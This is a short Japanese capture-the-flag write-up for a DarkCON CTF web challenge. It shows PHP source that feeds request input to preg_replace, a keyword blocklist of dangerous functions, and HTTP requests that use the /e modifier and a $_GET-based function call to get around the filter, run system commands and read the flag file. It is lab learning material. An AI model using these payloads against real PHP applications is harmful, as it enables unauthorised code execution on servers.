robots.txtを見てみると?lmao
とあるので、入れてみるとソースコードが出てくる。
<?php require_once 'config.php'; $text = "Welcome DarkCON CTF !!"; if (isset($_GET['lmao'])) { highlight_file(__FILE__); exit; } else { $payload = $_GET['bruh']; if (isset($payload)) { if (is_payload_danger($payload)) { die("Amazing Goob JOb You :) "); } else { echo preg_replace($_GET['nic3'], $payload, $text); } } echo $text; } ?>
preg_replace("/a/e", "system(‘id’);", "abc");を目指す。
色々試すと以下が成功した。
GET /?bruh=show_source("c"."onfig.php");&nic3=/a/e HTTP/1.1
<?php function is_payload_danger($payload) { return preg_match('/exec|passthru|shell_exec|system|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|readfile|require|require_once|include|include_once|print|find|file|`|config|var_dump|dir/',$payload); } ?>
GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=ls
これで任意コード実行ができるようになった。
config.php flag210d9f88fd1db71b947fbdce22871b57.php index.php robots.txt
GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=cat%20flag210d9f88fd1db71b947fbdce22871b57.php
-> darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!}
YES!